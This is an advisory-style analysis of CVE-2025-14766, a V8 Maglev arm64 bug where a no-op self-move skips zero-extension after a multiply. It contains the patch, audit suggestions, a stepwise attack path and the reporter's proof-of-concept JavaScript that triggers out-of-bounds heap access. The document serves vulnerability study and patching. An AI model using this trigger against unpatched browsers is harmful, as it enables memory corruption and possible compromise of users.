CVE-2025-14766
Overview
Background
- Maglev
- V8’s mid-tier optimizing compiler; its arm64 backend lowers typed IR nodes such as
Int32Multiplyto native instructions insrc/maglev/arm64/maglev-ir-arm64.cc. - `Smull`
- the arm64 signed 32×32→64-bit multiply that writes a full 64-bit result into an X register, whose upper 32 bits are meaningful sign/overflow bits, not part of the intended
Int32value. - Zero-extension invariant
- a Maglev
Int32value must occupy a register whose upper 32 bits are zero, so consumers reading the X register see the same value as the W register. - `Move` vs `Mov`
MacroAssembler::Moveis a higher-level helper that elides the operation when source and destination are the same register, whereasMov(Wd, Wm)always emits amovon W registers, which hardware defines to zero the upper 32 bits of the X register.
Root Cause Analysis
After computing Smull(out, left, right), the Int32Multiply lowering intended to zero-extend the 32-bit result by executing __ Move(out.W(), out.W()), but because Move is a no-op when the source and destination registers are identical, no instruction was emitted and the garbage upper 32 bits produced by Smull remained in the X register. The Int32 zero-extension invariant was therefore violated: any later consumer that read out as a full 64-bit value saw a non-zero-extended, corrupted number instead of the correct Int32. The regression test shows the trigger: mul = 0x80000000 | 0 then idx = (mul * 2) | 0 — the signed product Smull computes has non-zero high bits even though the low 32 bits are the intended index, so a downstream 64-bit use of idx yields an attacker-influenced large value.
The fix replaces Move with Mov, forcing an actual mov Wd, Wm that zero-extends the upper 32 bits and restores the invariant; the same substitution is applied to the two analogous lowerings that follow.
Move(out.W(), out.W()) — a self-move the assembler elides — to perform zero-extension, so the intended zeroing never happened; replacing it with Mov guarantees the emitted W-register move actually clears the high 32 bits.Attack Path
- Produce a multiply with dirty high bits
In JavaScript, compute an
Int32multiplication whose 64-bitSmullresult has non-zero upper bits, e.g.let mul = 0x80000000 | 0; let idx = (mul * 2) | 0;as in the PoC. - Get it Maglev-compiled
Warm the function and force optimization (
%OptimizeMaglevOnNextCall) so the arm64Int32Multiplylowering runs and skips zero-extension. - Use the result as a 64-bit quantity
Feed the multiply result into an operation that reads the full X register — the PoC uses it as an array/element index
o[idx]— so the non-zero high bits make the effective value fall outside the intendedInt32range. - Out-of-bounds access
The corrupted 64-bit index drives an element access beyond the object’s bounds, giving an out-of-bounds read and write as the advisory describes (the exact confused offset beyond the PoC’s
o[idx]is not further detailed in the diff).
Impact Assessment
Int32 multiply leave garbage in the upper 32 bits of the result register, and a consumer that uses it as a 64-bit index performs an out-of-bounds read and write in V8’s heap, matching the advisory’s “Out of bounds read and write in V8.” Preconditions are running on an arm64 target and getting the vulnerable function optimized by Maglev; any escalation to a full read/write primitive or code execution is (inferred), as the patch and PoC demonstrate only the OOB via a corrupted index. The advisory does not state exploited-in-the-wild status.Files Changed
src/maglev/arm64/maglev-ir-arm64.cctest/mjsunit/maglev/regress-466786677.js
Audit Directions
- Self-move as zero-extensionGrep the arm64 (and other) Maglev/Turbofan backends for
Move(reg.W(), reg.W())or any same-registerMoverelied on for zero-extension; such calls are elided and emit nothing. - 64-bit ops feeding 32-bit resultsAudit lowerings that use
Smull/Smulh/64-bit arithmetic to produce anInt32and confirm each explicitly zero-extends withMov(orUxtw) before the value is used as an X register. - Int32 register-width invariantReview IR nodes whose consumers read the full X register (indices, address computations) to ensure every
Int32producer maintains the upper-32-zero invariant on all targets.
Patch
From e0052e7af9c98557d2e65431a9c070c7469c7b06 Mon Sep 17 00:00:00 2001
From: Victor Gomes <victorgomes@chromium.org>
Date: Tue, 09 Dec 2025 15:16:44 +0100
Subject: [PATCH] [maglev][arm64] Ensure we zero-extend in Int32Multiply
Fixed: 466786677
Change-Id: Ie75222393743a8beeb99f9382dc6d345b8f62604
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7241729
Auto-Submit: Victor Gomes <victorgomes@chromium.org>
Commit-Queue: Darius Mercadier <dmercadier@chromium.org>
Reviewed-by: Darius Mercadier <dmercadier@chromium.org>
Commit-Queue: Victor Gomes <victorgomes@chromium.org>
Cr-Commit-Position: refs/heads/main@{#104206}
---
diff --git a/src/maglev/arm64/maglev-ir-arm64.cc b/src/maglev/arm64/maglev-ir-arm64.cc
index d76c6d1..049cb75 100644
--- a/src/maglev/arm64/maglev-ir-arm64.cc
+++ b/src/maglev/arm64/maglev-ir-arm64.cc
@@ -323,7 +323,7 @@
__ Smull(out, left, right);
// Making sure that the 32-bit output is zero-extended.
- __ Move(out.W(), out.W());
+ __ Mov(out.W(), out.W());
}
void Int32MultiplyOverflownBits::SetValueLocationConstraints() {
@@ -468,7 +468,7 @@
// Making sure that the 32-bit output is zero-extended (and moving it to the
// right register if {out_alias_input} is true).
- __ Move(out, res.W());
+ __ Mov(out, res.W());
}
void Int32DivideWithOverflow::SetValueLocationConstraints() {
@@ -536,7 +536,7 @@
__ CompareAndBranch(temp, Immediate(0), ne,
__ GetDeoptLabel(this, DeoptimizeReason::kNotInt32));
- __ Move(out, res);
+ __ Mov(out, res);
}
void Int32ModulusWithOverflow::SetValueLocationConstraints() {
diff --git a/test/mjsunit/maglev/regress-466786677.js b/test/mjsunit/maglev/regress-466786677.js
new file mode 100644
index 0000000..5b58f11
--- /dev/null
+++ b/test/mjsunit/maglev/regress-466786677.js
@@ -0,0 +1,22 @@
+// Copyright 2025 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax
+
+function trigger(cond) {
+ let o = {};
+ let mul = (cond ? 1 : 0x80000000) | 0;
+ print(mul);
+ let idx = (mul * 2) | 0;
+ print(idx);
+ o[0] = 1.1;
+ if (cond) o[1] = 2.2;
+ return o[idx];
+}
+
+%PrepareFunctionForOptimization(trigger);
+trigger(true);
+trigger(false);
+%OptimizeMaglevOnNextCall(trigger);
+trigger(false);
Regression Test / PoC
diff --git a/test/mjsunit/maglev/regress-466786677.js b/test/mjsunit/maglev/regress-466786677.js
new file mode 100644
index 0000000..5b58f11
--- /dev/null
+++ b/test/mjsunit/maglev/regress-466786677.js
@@ -0,0 +1,22 @@
+// Copyright 2025 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax
+
+function trigger(cond) {
+ let o = {};
+ let mul = (cond ? 1 : 0x80000000) | 0;
+ print(mul);
+ let idx = (mul * 2) | 0;
+ print(idx);
+ o[0] = 1.1;
+ if (cond) o[1] = 2.2;
+ return o[idx];
+}
+
+%PrepareFunctionForOptimization(trigger);
+trigger(true);
+trigger(false);
+%OptimizeMaglevOnNextCall(trigger);
+trigger(false);
Original Bug Report
v8 incorrect Integer Overflow Elimination leads to potential OOB R/W
Received signal 11 SEGV_ACCERR 719801064773
==== C stack trace ===============================
../v8/v8/out/arm64/d8(__interceptor_backtrace+0x46)[0x5cca99d37a66]
../v8/v8/out/arm64/d8(_ZN2v84base5debug10StackTraceC2Ev+0x13)[0x5ccaa1e105a3]
../v8/v8/out/arm64/d8(+0xc4a03b0)[0x5ccaa1e103b0]
/lib/x86_64-linux-gnu/libc.so.6(+0x45330)[0x76dd7ca45330]
../v8/v8/out/arm64/d8(v8_internal_simulator_ProbeMemory+0x0)[0x5cca9df2d888]
[end of stack trace]
Segmentation fault
VERSION
V8 version 14.5.0 (candidate)
REPRODUCTION CASE
Build: linux arm64 simulated
is_asan = true
is_debug = true
symbol_level = 2
v8_enable_backtrace = true
target_cpu = "x64"
v8_target_cpu = "arm64"
v8_enable_i18n_support = false
is_component_build = false
poc.js:
let warmup_count = 300;
for (let i = 0; i < warmup_count; i++) {
let o = {};
o[0] = i * 0.1;
o[1] = i * 0.1;
o[2] = i * 0.1;
let x = o[2];
}
function trigger(cond) {
let o = {};
let mul = (cond ? 1 : 0x80000000) | 0;
let idx = (mul * 2) | 0;
o[0] = 1.1;
if (cond) o[1] = 2.2;
return o[idx];
}
for (let i = 0; i < 300; i++) {
trigger(true);
trigger(false);
}
trigger(true);
trigger(false);
Run: ./d8 poc.js
Reporter credit: Shaheen Fazim